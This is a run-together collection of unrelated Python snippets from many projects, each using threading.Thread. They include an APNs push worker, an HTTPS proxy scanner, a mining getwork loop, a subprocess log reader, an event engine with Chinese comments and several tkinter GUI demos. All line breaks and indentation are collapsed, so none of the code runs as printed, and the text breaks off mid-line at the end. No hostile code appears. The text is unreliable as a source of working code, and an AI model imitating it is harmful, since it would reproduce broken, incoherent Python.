def __init__(self, params): Thread.__init__(self) self.tid = params['tid'] #work线程id self.apns_gateway = ApnsGateway(certfile=params['certfile'], #apns连接 host=params['host'], port=params['port'], retry=params['retry'])
def main(): """ Main function of the proxy scanner. """ global pl, output, q parser = ArgumentParser(description='Scans a list of proxies to determine which work for HTTPS.') parser.add_argument('--output', default='output/proxies.txt', type=str, help='The file in which to store the found proxies.') parser.add_argument('--threads', default=10, type=int, help='Number of threads to use.') args = parser.parse_args() output = args.output threads = args.threads q = Queue(threads * 3) print 'Starting threads.' for x in xrange(threads): t = Thread(target=check_proxies) t.daemon = True t.start() print 'Queueing proxies.' for proxy in proxies.proxies: q.put(proxy) q.join() save_proxies()
def loop(self): if self.authorization_failed: return super(GetworkSource, self).loop() thread = Thread(target=self.long_poll_thread) thread.daemon = True thread.start() while True: if self.should_stop: return if self.check_failback(): return True try: with self.switch.lock: miner = self.switch.updatable_miner() while miner: work = self.getwork() self.queue_work(work, miner) miner = self.switch.updatable_miner() self.process_result_queue() sleep(1) except Exception: say_exception("Unexpected error:") break
def run_windows_service(config): """ Initialize the web application and run it in the background, while displaying a small system tray icon to interact with the it. """ import webbrowser from winservice import SysTrayIcon app = WebApplication(config) server_thread = Thread(target=app.run_server) server_thread.start() def on_quit(systray): """ Callback that stops the application. """ IOLoop.instance().stop() server_thread.join() listening_port = config['web']['port'].get(int) open_browser = ( lambda x: webbrowser.open_new_tab("http://127.0.0.1:{0}" .format(listening_port))) menu_options = (('Open in browser', None, open_browser),) SysTrayIcon( icon=os.path.join(os.path.dirname(sys.argv[0]), 'spreads.ico'), hover_text="Spreads Web Service", menu_options=menu_options, on_quit=on_quit, default_menu_index=1, on_click=open_browser)
def __init__(self, newJobsQueue, updatedJobsQueue, boss): Thread.__init__(self) self.newJobsQueue = newJobsQueue self.updatedJobsQueue = updatedJobsQueue self.currentjobs = list() self.runningjobs = set() self.boss = boss
def __init__(self, tname, task_queue, flt, suc, fail, headers={}, proxy=None, proxy_policy=None, retry=3, timeout=10, logger=None, keep_alive=None, stream_mode=False): """ Construct a new 'HttpWorker' obkect :param tname: The name of this http worker :param task_queue: The task Queue instance :param flt: the filter function :param suc: the function to call when succeeded :param fail: the function to call when failed :param headers: custom HTTP headers :param proxy: proxy dict :param proxy_policy: a function to determine whether proxy should be used :param retry: retry count :param timeout: timeout in seconds :param logger: the Logger instance :param keep_alive: the callback to send keep alive :param stream_mode: set the request to use stream mode, keep_alive will be called every iteration :return: returns nothing """ HttpReq.__init__(self, headers, proxy, proxy_policy, retry, timeout, logger, tname = tname) Thread.__init__(self, name = tname) Thread.setDaemon(self, True) self.task_queue = task_queue self.logger = logger self._keepalive = keep_alive self._exit = lambda x: False self.flt = flt self.f_suc = suc self.f_fail = fail self.stream_mode = stream_mode # if we don't checkin in this zombie_threshold time, monitor will regard us as zombie self.zombie_threshold = timeout * (retry + 1) self.run_once = False
def __init__(self, req, proxy, logger, task, exit_check=None, ignored_errors=[]): Thread.__init__(self, name = "monitor%s" % task.guid) Thread.setDaemon(self, True) # the count of votes per error code self.vote_result = {} # the error code to be ignored self.vote_cleared = set().union(ignored_errors) self.thread_last_seen = {} self.dctlock = RLock() self.votelock = RLock() self.thread_ref = {} self.thread_zombie = set() # HttpReq instance self.req = req # proxy.Pool instance self.proxy = proxy self.logger = logger self.task = task self._exit = exit_check if exit_check else lambda x: False self._cleaning_up = False if os.name == "nt": self.set_title = lambda s:os.system("TITLE %s" % ( s if PY3K else s.encode(CODEPAGE, 'replace'))) elif os.name == 'posix': import sys self.set_title = lambda s:sys.stdout.write("\033]2;%s\007" % ( s if PY3K else s.encode(CODEPAGE, 'replace')))
def runWorker(w, args, checklist, quithooks, queue=None): global killed global workers thrdRun = Thread(target=run, args=(w, args)) thrdRun.daemon = True thrdRun.start() time.sleep(1) while (w.hasLines() or not w.isDone()) and not killed: line = w.nextLine() if line != None: message("Line", "Out", line.strip(), False) logLine(line) if maintainChecklist(w, checklist, line): if isChecklistDone(checklist): message(w.fullName(), "Run complete", "Moving into background") break else: if checkQuitHooks(w, quithooks, line): globalKill() if queue: try: queued_command = queue.get_nowait() if queued_command == "quit": w.kill() queue.put("ok") except Empty: pass
def __init__(self): self.title = self.empty_title # we are listening to i3 events in a separate thread t = Thread(target=self._loop) t.daemon = True t.start()
def __init__(self, port, deviceFd, deviceLock, debug = False, aexServer = None): ''' Constructor ''' self.running = False self.__dataQueue = Queue(0) self.__clients = [] self.debug = debug self.__deviceFd = deviceFd self.deviceLock = deviceLock self.aexServer=aexServer self.runningTime = 0 self.receivingTime = 0 self.packetsReceived = 0 self.sleepingTimes = 0 ThreadingTCPServer.__init__(self, ("", port), StimNetCom, False) ThreadingTCPServer.allow_reuse_address = True self.server_bind() self.server_activate() Thread.__init__(self)
def __init__(self, interval_sec, get_connection_holders): Thread.__init__(self, name="Connection heartbeat") self._interval = interval_sec self._get_connection_holders = get_connection_holders self._shutdown_event = Event() self.daemon = True self.start()
def __init__(self, prompt="> ", stdin=None, stdout=None): if _debug: ConsoleCmd._debug("__init__") cmd.Cmd.__init__(self, stdin=stdin, stdout=stdout) Thread.__init__(self, name="ConsoleCmd") # check to see if this is running interactive self.interactive = sys.__stdin__.isatty() # save the prompt for interactive sessions, otherwise be quiet if self.interactive: self.prompt = prompt else: self.prompt = '' # gc counters self.type2count = {} self.type2all = {} # logging handlers self.handlers = {} # set a INT signal handler, ^C will only get sent to the # main thread and there's no way to break the readline # call initiated by this thread - sigh if hasattr(signal, 'SIGINT'): signal.signal(signal.SIGINT, console_interrupt) # start the thread self.start()
class AntiFlapping(object): """ AntiFlapping class to process event in a timely maneer """ def __init__(self, window): self.window = window self.tasks = Queue(maxsize=1) self._window_ended = True self._thread = Thread(name="AntiFlapping", target=self._run) self._thread.start() def newEvent(self, func, kwargs={}): """ newEvent Triggered. """ if not self.tasks.full() and self._window_ended: self.tasks.put({'func': func, 'args':kwargs}) def _run(self): """ internal runloop that will fire tasks in order. """ while True: task = self.tasks.get() self._window_ended = False sleep(self.window) self._window_ended = True if task['args']: task['func'](**task['args']) else: task['func']()
def __init__(self, n_threads): self.n_threads = n_threads self._running = True self.input_queues = [] self.output_queues = [] self.exception_queues = [] self.threads = [] for i in range(n_threads): input_queue = queue.Queue() output_queue = queue.Queue() exception_queue = queue.Queue() thread = Thread( target=self._thread_func, args=(input_queue, output_queue, exception_queue)) thread.daemon = True self.input_queues.append(input_queue) self.output_queues.append(output_queue) self.exception_queues.append(exception_queue) self.threads.append(thread) thread.start()
def run(data, d=None): global timer print(data) if data == "ring": if int(d) == 1: if timer: timer.cancel() timer = Timer(60, genugdavon) timer.start() check = Thread(target=check_locks) check.start() putfile('/sys/class/gpio/gpio11/value', '0') playsound("/root/ring-bb.wav") else: playsound("/root/ring-fis.wav") if data == "open": # if not locked_oben: playsound("/root/open.wav") if data == "summ": if timer: timer.cancel() # if not locked_oben: putfile('/sys/class/gpio/gpio11/value', '1') playsound("/root/summ.wav")
def listen_threaded(cls, port, callback): """ Starts a new thread listening to the given port """ thread = Thread(target=cls.__listen_forever, args=(port, callback), name="NC-ListenForever") thread.setDaemon(True) thread.start() return thread
def __init__(self, server): """ constructor @param server to run """ Thread.__init__(self) self.server = server
def __init__(self): Tk.__init__(self) self.isAndroidConnected = True self.isKinectConnected = False self.isOpen = True self.label_android_connected = Label(self,text="No Android connected"); self.label_android_connected.pack() self.android_connection_thread = Thread(target=self.androidConnection) self.android_connection_thread.start() self.android_start_thread = Thread(target=self.androidWaitStart) self.button_start_kinect = Button(self,text="Demarrer Kinect",command=self.startKinect) self.button_start_kinect.pack() self.button_start_recording = Button(self,text="Demarrer enregistrement",command=self.startRecording) self.button_start_recording.pack() self.button_start_recording.config(state="disabled") self.spin_box_duree = Spinbox(self, from_=1, to=5) self.spin_box_duree.pack() self.label_log = Label(self,text=""); self.label_log.pack()
def send_async(cls, port, message): """ Starts a new thread which sends a given message to a port """ thread = Thread(target=cls.__send_message_async, args=(port, message), name="NC-SendAsync") thread.setDaemon(True) thread.start() return thread
def __init__(self, name, event, function, args=[], period = 5.0): Thread.__init__(self) self.name = name self.stopped = event self.period = period self.function = function self.args = args
def Watch( Module, Callback, * Args, ** Kwds ): if Module.__file__ in WatchList: return T = Thread(target = WatchThread, args=(Module,Callback,Args,Kwds)) T.setDaemon(True) T.start()
class NonBlockingStreamReader: def __init__(self, stream): ''' stream: the stream to read from. Usually a process' stdout or stderr. ''' self._s = stream self._q = Queue() def _populateQueue(stream, queue): ''' Collect lines from 'stream' and put them in 'quque'. ''' while True: line = stream.readline() if line: queue.put(line) else: break self._t = Thread(target = _populateQueue, args = (self._s, self._q)) self._t.daemon = True self._t.start() #start collecting lines from the stream def readline(self, timeout = None): try: return self._q.get(block = timeout is not None, timeout = timeout) except Empty: return None
def get_stock(self): self.sku = self.sku_input.get().strip() self.client_id = self.client_id_input.get().strip() self.cycle = 1 region = self.region_input.get() if self.refresh_var.get(): validity = self.refresh_is_valid() if not validity[0]: self.update_status(validity[1]) return else: amt = int(self.refresh_amt_input.get()) dly = float(self.refresh_dly_input.get()) if amt <= 0: self.update_status('Please enter a non-zero/negative amount.') return if dly < 0: self.update_status('Please enter a non-negative delay.') return else: amt = 1 dly = 1 thread = Thread(name=self.sku+'_'+region, target=self.check_stock, args=[region, amt, dly]) thread.daemon = True thread.start() self.disable_submit()
def __init__(self, settings, on_loaded = lambda: None): self.__loaded = False self.__on_loaded = on_loaded self.__sp = self.__open(settings) t = Thread(target=self.__consume_beginning) t.daemon = True t.start()
def looped(window, *args, **kwargs): if hasattr(linux_native_dialog, 'native_failed'): import importlib m = importlib.import_module('calibre.gui2.qt_file_dialogs') qfunc = getattr(m, 'choose_' + name) return qfunc(window, *args, **kwargs) try: if window is None: return func(window, *args, **kwargs) ret = [None, None] loop = QEventLoop(window) def r(): try: ret[0] = func(window, *args, **kwargs) except: ret[1] = sys.exc_info() sys.exc_clear() while not loop.isRunning(): time.sleep(0.001) # yield so that loop starts loop.quit() t = Thread(name='FileDialogHelper', target=r) t.daemon = True t.start() loop.exec_(QEventLoop.ExcludeUserInputEvents) if ret[1] is not None: raise ret[1][0], ret[1][1], ret[1][2] return ret[0] except Exception: linux_native_dialog.native_failed = True import traceback traceback.print_exc() return looped(window, *args, **kwargs)
def start(self, *args): """ Creates a subprocess of nping and invokes it with the given arguments.""" cline = [BotConfig.NPING_PATH] cline = cline + args[0] t = Thread(target=self.__run, args=[cline]) t.start()
def __init__(self, config, pipe_name=PIPE): """@param pipe_name: Cuckoo PIPE server name.""" Thread.__init__(self) self.pipe_name = pipe_name self.config = config self.options = config.get_options() self.do_run = True
def __init__(self, log = None): from threading import Event Thread.__init__(self) self.__mytid = P.mytid() try: ## get process ID of parent self.__parent = P.parent() except: self.__parent = None self.__bindings = {} self.__stop = 0 self.__tasks = {} self.setMessageLoopDelay(0.1) self.__loopEvent = Event() if log: self.__log = Logfile() else: self.__log = None ## add ping-mechanism self.setPingTimeout(5.) self.bind(MSG_PING, -1, self._ping)
def __init__(self, stationBase): Thread.__init__(self) self.stationBase = stationBase self.imageVirtuelle = None self.anciennePosRobot = [] self.police = cv2.FONT_HERSHEY_SIMPLEX self.chargerImageVirtuelle()
def rpc_server(handler, address, authkey): sock = Listener(address, authkey=authkey) while True: client = sock.accept() t = Thread(target=handler.handle_connection, args=(client,)) t.daemon = True t.start()
def _cbackVCDATFull(self): if self._threadVCDAT != 0: return self._threadVCDAT = Thread(target=self._callVCDATFull) self._threadVCDAT.start() self._setVCDATSelectionState('disabled')
''' #Single Threading Start for disk in drive_list: print(disk) find_data(disk) #Single Threading End ''' #''' #Multi Threading Start list_thread = [] drivecount = 0 for each in range(len(drive_list)): th1 = Thread(target=find_data, args = (drive_list[drivecount],)) th1.start() list_thread.append(th1) drivecount = drivecount + 1 for th in list_thread: th.join() #Multi Threading End #''' file_write.close() t2 = datetime.datetime.now() print(t2-t1)
def runalarm(strip): print "succesfull launch confirmed" , strip alarmerstatus = False loopvariable = True while loopvariable == True: ######################### wait_a_minute(56) today = datetime.date.today() day_of_week = datetime.datetime.weekday(today) cur_time = datetime.datetime.now().time() hour = cur_time.hour minute = cur_time.minute print "Alarm is running ... ", hour,minute ########################## for alarm in models.Alarm.objects.all(): ################ alarmdays = alarm.days # 1...7 alarmdaylist = makelist(alarmdays) #1..7 cur_week_day = int(day_of_week) + 1 if cur_week_day in alarmdaylist: daytrigger = True else: daytrigger = False ################ alarmtime = alarm.time alarmhour = alarmtime.hour alarmminute = alarmtime.minute if int(hour) == int(alarmhour): hourtrigger = True else: hourtrigger = False if int(minute) == int(alarmminute): minutetrigger = True else: minutetrigger = False ############## if daytrigger and hourtrigger and minutetrigger and not alarmerstatus: p2 = Thread(target=makealarm(str(alarm.type))) p2.start() alarmerstatus = True wait_a_minute(20) daytrigger, hourtrigger, minutetrigger = False, False, False else: daytrigger, hourtrigger, minutetrigger = False, False,False ########################## for alarm in models.Quickalarm.objects.all(): alarmtime = alarm.time alarmhour = alarmtime.hour alarmminute = alarmtime.minute if int(hour) == int(alarmhour): hourtrigger = True else: hourtrigger = False if int(minute) == int(alarmminute): minutetrigger = True else: minutetrigger = False ############## if hourtrigger and minutetrigger and not alarmerstatus: makealarm(strip) global alarmerstatus hourtrigger, minutetrigger = False, False else: hourtrigger, minutetrigger = False, False
def start(strip): print "STARTING DAY" p1 = Thread(target=runalarm, args=[strip]) p1.start() print "Launched succesfully"
def runMarlin(filenamebase, jobtask, silent): """ Runs Marlin and stores log of output """ from sys import exit # use sys.exit instead of built-in exit (latter raises exception) log = logging.getLogger('jobsub.' + jobtask) # check for Marlin executable cmd = check_program("Marlin") if cmd: log.debug("Found Marlin executable: " + cmd) else: log.error("Marlin executable not found in PATH!") exit(1) # search for stdbuf command: adjust stdout buffering stdbuf = check_program("stdbuf") if stdbuf: log.debug("Found stdbuf, will use line buffered output.") # -oL: adjust standard output stream buffering to line buffered cmd = stdbuf + " -oL " + cmd # need some addtional libraries for process interaction from subprocess import Popen, PIPE from threading import Thread # threading used for non-blocking process output parsing from time import sleep try: from Queue import Queue, Empty # python 2.x except ImportError: from queue import Queue, Empty # python 3.x import datetime import shlex # parsing process output using threads # (approach from http://stackoverflow.com/a/4896288) def enqueue_output(out, queue): """ feed queue with readline output """ for line in iter(out.readline, ''): queue.put(line) out.close() ON_POSIX = 'posix' in sys.builtin_module_names cmd = cmd+" "+filenamebase+".xml" rcode = None # the return code that will be set by a later subprocess method try: # run process log.info ("Now running Marlin on "+filenamebase+".xml") log.debug ("Executing: "+cmd) p = Popen(shlex.split(cmd), stdout=PIPE, stderr=PIPE, bufsize=1, close_fds=ON_POSIX) # setup output queues and threads qout = Queue() tout = Thread(target=enqueue_output, args=(p.stdout, qout)) qerr = Queue() terr = Thread(target=enqueue_output, args=(p.stderr, qerr)) # threads die with the program tout.daemon = True terr.daemon = True tout.start() terr.start() # open log file log_file = open(filenamebase+".log", "w") # print timestamp to log file log_file.write("---=== Analysis started on " + datetime.datetime.now().strftime("%A, %d. %B %Y %I:%M%p") + " ===---\n\n") try: while p.poll() is None: # read line without blocking try: line = qout.get_nowait() # or q.get(timeout=.1) if not silent: if "WARNING" in line.strip(): log.warning(line.strip()) elif "ERROR" in line.strip(): log.error(line.strip()) else: log.info(line.strip()) log_file.write(line) except Empty: pass try: line = qerr.get_nowait() # or q.get(timeout=.1) log.error(line.strip()) log_file.write(line) except Empty: sleep(0.005) # sleep for 5 ms to avoid excessive CPU load # process done tout.join() # finish stdout thread; wait for remaining buffer to be read terr.join() # finish stderr thread # process the remainder of the buffers now stored in our queues while not qout.empty() or not qerr.empty(): # read line without blocking try: line = qout.get_nowait() # or q.get(timeout=.1) if not silent: if "WARNING" in line.strip(): log.warning(line.strip()) elif "ERROR" in line.strip(): log.error(line.strip()) else: log.info(line.strip()) log_file.write(line) except Empty: pass try: line = qerr.get_nowait() # or q.get(timeout=.1) log.error(line.strip()) log_file.write(line) except Empty: pass finally: log_file.close() rcode = p.returncode # get the return code except OSError, e: log.critical("Problem with Marlin execution: Command '%s' resulted in error #%s, %s", cmd, e.errno, e.strerror) exit(1)
class EventEngine: """ 事件驱动引擎 事件驱动引擎中所有的变量都设置为了私有,这是为了防止不小心 从外部修改了这些变量的值或状态,导致bug。 变量说明 __queue:私有变量,事件队列 __active:私有变量,事件引擎开关 __thread:私有变量,事件处理线程 __timer:私有变量,计时器 __handlers:私有变量,事件处理函数字典 方法说明 __run: 私有方法,事件处理线程连续运行用 __process: 私有方法,处理事件,调用注册在引擎中的监听函数 __onTimer:私有方法,计时器固定事件间隔触发后,向事件队列中存入计时器事件 start: 公共方法,启动引擎 stop:公共方法,停止引擎 register:公共方法,向引擎中注册监听函数 unregister:公共方法,向引擎中注销监听函数 put:公共方法,向事件队列中存入新的事件 事件监听函数必须定义为输入参数仅为一个event对象,即: 函数 def func(event) ... 对象方法 def method(self, event) ... """ #---------------------------------------------------------------------- def __init__(self): """初始化事件引擎""" # 事件队列 self.__queue = Queue() # 事件引擎开关 self.__active = False # 事件处理线程 self.__thread = Thread(target = self.__run) # 计时器,用于触发计时器事件 self.__timer = QTimer() self.__timer.timeout.connect(self.__onTimer) # 这里的__handlers是一个字典,用来保存对应的事件调用关系 # 其中每个键对应的值是一个列表,列表中保存了对该事件进行监听的函数功能 self.__handlers = {} #---------------------------------------------------------------------- def __run(self): """引擎运行""" while self.__active == True: try: event = self.__queue.get(block = True, timeout = 1) # 获取事件的阻塞时间设为1秒 #print(event.type_) self.__process(event) except Empty: pass #---------------------------------------------------------------------- def __process(self, event): """处理事件""" # 检查是否存在对该事件进行监听的处理函数 if event.type_ in self.__handlers: #print(self.__handlers[event.type_]) #若存在,则按顺序将事件传递给处理函数执行 [handler(event) for handler in self.__handlers[event.type_]] #以上语句为Python列表解析方式的写法,对应的常规循环写法为: #for handler in self.__handlers[event.type_]: #handler(event) #---------------------------------------------------------------------- def __onTimer(self): """向事件队列中存入计时器事件""" # 创建计时器事件 event = Event(type_=EVENT_TIMER) # 向队列中存入计时器事件 self.put(event) #---------------------------------------------------------------------- def start(self): """引擎启动""" # 将引擎设为启动 self.__active = True # 启动事件处理线程 self.__thread.start() # 启动计时器,计时器事件间隔默认设定为1秒 self.__timer.start(1000) #---------------------------------------------------------------------- def stop(self): """停止引擎""" # 将引擎设为停止 self.__active = False # 停止计时器 self.__timer.stop() # 等待事件处理线程退出 self.__thread.join() #---------------------------------------------------------------------- def register(self, type_, handler): """注册事件处理函数监听""" # 尝试获取该事件类型对应的处理函数列表,若无则创建 try: handlerList = self.__handlers[type_] except KeyError: handlerList = [] self.__handlers[type_] = handlerList # 若要注册的处理器不在该事件的处理器列表中,则注册该事件 if handler not in handlerList: handlerList.append(handler) #---------------------------------------------------------------------- def unregister(self, type_, handler): """注销事件处理函数监听""" # 尝试获取该事件类型对应的处理函数列表,若无则忽略该次注销请求 try: handlerList = self.__handlers[type_] # 如果该函数存在于列表中,则移除 if handler in handlerList: handlerList.remove(handler) # 如果函数列表为空,则从引擎中移除该事件类型 if not handlerList: del self.__handlers[type_] except KeyError: pass #---------------------------------------------------------------------- def put(self, event): """向事件队列中存入事件""" self.__queue.put(event)
def __init__(self): ''' Constructor. ''' Thread.__init__(self)
def __init__(self, localhost, port=9999, data_ids={}): Thread.__init__(self) self.localhost = localhost self.port = port self.data_ids = data_ids self.queue = {}
class OOP(): def __init__(self): # Initializer method # Create instance self.win = tk.Tk() # Add a title self.win.title("Python GUI") self.create_widgets() # Create Queue instance def use_queues(self): gui_queue = Queue() print(gui_queue) gui_queue.put('Message from a queue') print(gui_queue.get()) def method_in_a_thread(self, num_of_loops=10): # print('Hi, how are you?') for idx in range(num_of_loops): sleep(1) self.scrol.insert(tk.INSERT, str(idx) + '\n') # print('method_in_a_thread():', self.run_thread.isAlive()) # Running methods in Threads def create_thread(self): self.run_thread = Thread(target=self.method_in_a_thread, args=[8]) self.run_thread.setDaemon(True) self.run_thread.start() # print(self.run_thread) # print('createThread():', self.run_thread.isAlive()) # Button callback def click_me(self): self.action.configure(text='Hello ' + self.name.get()) self.create_thread() self.use_queues() # Spinbox callback def _spin(self): value = self.spin.get() self.scrol.insert(tk.INSERT, value + '\n') # GUI Callback def checkCallback(self, *ignored_args): # only enable one checkbutton if self.chVarUn.get(): self.check3.configure(state='disabled') else: self.check3.configure(state='normal') if self.chVarEn.get(): self.check2.configure(state='disabled') else: self.check2.configure(state='normal') # Radiobutton Callback def radCall(self): radSel = self.radVar.get() if radSel == 0: self.mighty2.configure(text='Blue') elif radSel == 1: self.mighty2.configure(text='Gold') elif radSel == 2: self.mighty2.configure(text='Red') # update progressbar in callback loop def run_progressbar(self): self.progress_bar["maximum"] = 100 for i in range(101): sleep(0.05) self.progress_bar["value"] = i # increment progressbar self.progress_bar.update() # have to call update() in loop self.progress_bar["value"] = 0 # reset/clear progressbar def start_progressbar(self): self.progress_bar.start() def stop_progressbar(self): self.progress_bar.stop() def progressbar_stop_after(self, wait_ms=1000): self.win.after(wait_ms, self.progress_bar.stop) def usingGlobal(self): global GLOBAL_CONST GLOBAL_CONST = 777 # Exit GUI cleanly def _quit(self): self.win.quit() self.win.destroy() exit() ##################################################################################### def create_widgets(self): tabControl = ttk.Notebook(self.win) # Create Tab Control tab1 = ttk.Frame(tabControl) # Create a tab tabControl.add(tab1, text='Tab 1') # Add the tab tab2 = ttk.Frame(tabControl) # Add a second tab tabControl.add(tab2, text='Tab 2') # Make second tab visible tabControl.pack(expand=1, fill="both") # Pack to make visible # LabelFrame using tab1 as the parent mighty = ttk.LabelFrame(tab1, text=' Mighty Python ') mighty.grid(column=0, row=0, padx=8, pady=4) # Modify adding a Label using mighty as the parent instead of win a_label = ttk.Label(mighty, text="Enter a name:") a_label.grid(column=0, row=0, sticky='W') # Adding a Textbox Entry widget self.name = tk.StringVar() self.name_entered = ttk.Entry(mighty, width=24, textvariable=self.name) self.name_entered.grid(column=0, row=1, sticky='W') # Adding a Button self.action = ttk.Button(mighty, text="Click Me!", command=self.click_me) self.action.grid(column=2, row=1) ttk.Label(mighty, text="Choose a number:").grid(column=1, row=0) number = tk.StringVar() self.number_chosen = ttk.Combobox(mighty, width=14, textvariable=number, state='readonly') self.number_chosen['values'] = (1, 2, 4, 42, 100) self.number_chosen.grid(column=1, row=1) self.number_chosen.current(0) # Adding a Spinbox widget self.spin = Spinbox(mighty, values=(1, 2, 4, 42, 100), width=5, bd=9, command=self._spin) # using range self.spin.grid(column=0, row=2, sticky='W') # align left # Using a scrolled Text control scrol_w = 40 scrol_h = 10 # increase sizes self.scrol = scrolledtext.ScrolledText(mighty, width=scrol_w, height=scrol_h, wrap=tk.WORD) self.scrol.grid(column=0, row=3, sticky='WE', columnspan=3) for child in mighty.winfo_children( ): # add spacing to align widgets within tabs child.grid_configure(padx=4, pady=2) #===================================================================================== # Tab Control 2 ---------------------------------------------------------------------- self.mighty2 = ttk.LabelFrame(tab2, text=' The Snake ') self.mighty2.grid(column=0, row=0, padx=8, pady=4) # Creating three checkbuttons chVarDis = tk.IntVar() check1 = tk.Checkbutton(self.mighty2, text="Disabled", variable=chVarDis, state='disabled') check1.select() check1.grid(column=0, row=0, sticky=tk.W) chVarUn = tk.IntVar() check2 = tk.Checkbutton(self.mighty2, text="UnChecked", variable=chVarUn) check2.deselect() check2.grid(column=1, row=0, sticky=tk.W) chVarEn = tk.IntVar() check3 = tk.Checkbutton(self.mighty2, text="Enabled", variable=chVarEn) check3.deselect() check3.grid(column=2, row=0, sticky=tk.W) # trace the state of the two checkbuttons chVarUn.trace('w', lambda unused0, unused1, unused2: self.checkCallback()) chVarEn.trace('w', lambda unused0, unused1, unused2: self.checkCallback()) # First, we change our Radiobutton global variables into a list colors = ["Blue", "Gold", "Red"] # create three Radiobuttons using one variable self.radVar = tk.IntVar() # Next we are selecting a non-existing index value for radVar self.radVar.set(99) # Now we are creating all three Radiobutton widgets within one loop for col in range(3): curRad = tk.Radiobutton(self.mighty2, text=colors[col], variable=self.radVar, value=col, command=self.radCall) curRad.grid(column=col, row=1, sticky=tk.W) # row=6 # And now adding tooltips ToolTip(curRad, 'This is a Radiobutton control') # Add a Progressbar to Tab 2 self.progress_bar = ttk.Progressbar(tab2, orient='horizontal', length=286, mode='determinate') self.progress_bar.grid(column=0, row=3, pady=2) # Create a container to hold buttons buttons_frame = ttk.LabelFrame(self.mighty2, text=' ProgressBar ') buttons_frame.grid(column=0, row=2, sticky='W', columnspan=2) # Add Buttons for Progressbar commands ttk.Button(buttons_frame, text=" Run Progressbar ", command=self.run_progressbar).grid(column=0, row=0, sticky='W') ttk.Button(buttons_frame, text=" Start Progressbar ", command=self.start_progressbar).grid(column=0, row=1, sticky='W') ttk.Button(buttons_frame, text=" Stop immediately ", command=self.stop_progressbar).grid(column=0, row=2, sticky='W') ttk.Button(buttons_frame, text=" Stop after second ", command=self.progressbar_stop_after).grid(column=0, row=3, sticky='W') for child in buttons_frame.winfo_children(): child.grid_configure(padx=2, pady=2) for child in self.mighty2.winfo_children(): child.grid_configure(padx=8, pady=2) # Creating a Menu Bar menu_bar = Menu(self.win) self.win.config(menu=menu_bar) # Add menu items file_menu = Menu(menu_bar, tearoff=0) file_menu.add_command(label="New") file_menu.add_separator() file_menu.add_command(label="Exit", command=self._quit) menu_bar.add_cascade(label="File", menu=file_menu) # Display a Message Box def _msgBox(): msg.showinfo( 'Python Message Info Box', 'A Python GUI created using tkinter:\nThe year is 2019.') # Add another Menu to the Menu Bar and an item help_menu = Menu(menu_bar, tearoff=0) help_menu.add_command( label="About", command=_msgBox) # display messagebox when clicked menu_bar.add_cascade(label="Help", menu=help_menu) # Change the main windows icon self.win.iconbitmap('pyc.ico') # It is not necessary to create a tk.StringVar() # strData = tk.StringVar() strData = self.spin.get() # call function self.usingGlobal() self.name_entered.focus() # Add Tooltips ----------------------------------------------------- # Add a Tooltip to the Spinbox ToolTip(self.spin, 'This is a Spinbox control') # Add Tooltips to more widgets ToolTip(self.name_entered, 'This is an Entry control') ToolTip(self.action, 'This is a Button control') ToolTip(self.scrol, 'This is a ScrolledText control')
class MainMenu(Tkinter.Frame): _demos = {} def __init__(self, master, hide_vcdat=0, stdout=0): Tkinter.Frame.__init__(self, master) self._master = master self._stdout = stdout self._hide_vcdat = hide_vcdat self._about = 0 self._select = 0 self._idleEditor = 0 self._threadVCDAT = 0 master.title('CDAT Demo - Main Menu') #----------------------------------- # Create and install the MenuBar. #----------------------------------- self._menuBar = Pmw.MainMenuBar(master) master.config(menu=self._menuBar) # Add File self._menuBar.addmenu('File', '') # Add File->Exit self._menuBar.addmenuitem('File', 'command', label='Exit', command=sys.exit) # Add Applications self._menuBar.addmenu('Applications', '') # Add Applications->... applications = [('Earth Sciences', self._cbackEarthSci), ('Engineering', self._cbackEngineering), ('Air Pollution', self._cbackAirPollution)] for lbl, cmd in applications: self._menuBar.addmenuitem('Applications', 'command', label=lbl, command=cmd) # Add Features self._menuBar.addmenu('Features', '') # Add Features->... features = [('Visualization', self._cbackVisual), ('Diagnostics', self._cbackDiagnostics), ('Xmgrace', self._cbackXmgrace), ('Data Analysis', self._cbackDataAnalysis), ('Application Development', self._cbackAppDevel)] for lbl, cmd in features: self._menuBar.addmenuitem('Features', 'command', label=lbl, command=cmd) if not self._hide_vcdat: # Add Run CDAT self._menuBar.addmenu('VCDAT', '') # Add Run CDAT->... runcdat = [('VCDAT (Lite)', self._cbackVCDATLite), ('VCDAT (Full)', self._cbackVCDATFull)] for lbl, cmd in runcdat: self._menuBar.addmenuitem('VCDAT', 'command', label=lbl, command=cmd) # Add Help self._menuBar.addmenu('Help', '') # Add Help->About self._menuBar.addmenuitem('Help', 'command', label='About', command=self._aboutDialog) # Create buttons. if not self._hide_vcdat: background_fname = os.path.join(sys.exec_prefix, 'bin/images', 'main_background.gif') buttons = [('Earth Sciences', 1, 23, self._cbackEarthSci, self._onBtnEarthSciEnter), ('Engineering', 1, 24, self._cbackEngineering, self._onBtnEngineeringEnter), ('Air Pollution', 1, 25, self._cbackAirPollution, self._onBtnAirPollutionEnter), ('CDAT Overview', 1, 31, self._cbackCDATOverview, self._onBtnCDATOverviewEnter), ('Run VCDAT (Lite)', 5, 28, self._cbackVCDATLite, self._onBtnVCDATLiteEnter), ('Run VCDAT (Full)', 5, 29, self._cbackVCDATFull, self._onBtnVCDATFullEnter), ('Visualization', 9, 27, self._cbackVisual, self._onBtnVisualEnter), ('Diagnostics', 9, 28, self._cbackDiagnostics, self._onBtnDiagnosticsEnter), ('Xmgrace', 9, 29, self._cbackXmgrace, self._onBtnXmgraceEnter), ('Data Analysis', 9, 30, self._cbackDataAnalysis, self._onBtnDataAnalysisEnter), ('Application Development', 9, 31, self._cbackAppDevel, self._onBtnAppDevelEnter)] else: background_fname = os.path.join(sys.exec_prefix, 'bin/images', 'main_background2.gif') buttons = [('Earth Sciences', 3, 23, self._cbackEarthSci, self._onBtnEarthSciEnter), ('Engineering', 3, 24, self._cbackEngineering, self._onBtnEngineeringEnter), ('Air Pollution', 3, 25, self._cbackAirPollution, self._onBtnAirPollutionEnter), ('CDAT Overview', 3, 27, self._cbackCDATOverview, self._onBtnCDATOverviewEnter), ('Visualization', 8, 23, self._cbackVisual, self._onBtnVisualEnter), ('Diagnostics', 8, 24, self._cbackDiagnostics, self._onBtnDiagnosticsEnter), ('Xmgrace', 8, 25, self._cbackXmgrace, self._onBtnXmgraceEnter), ('Data Analysis', 8, 26, self._cbackDataAnalysis, self._onBtnDataAnalysisEnter), ('Application Development', 8, 27, self._cbackAppDevel, self._onBtnAppDevelEnter)] # Create a display frame container. self._display = Pmw.ScrolledFrame(master) self._display.pack(expand=1, fill='both') # Create the Main 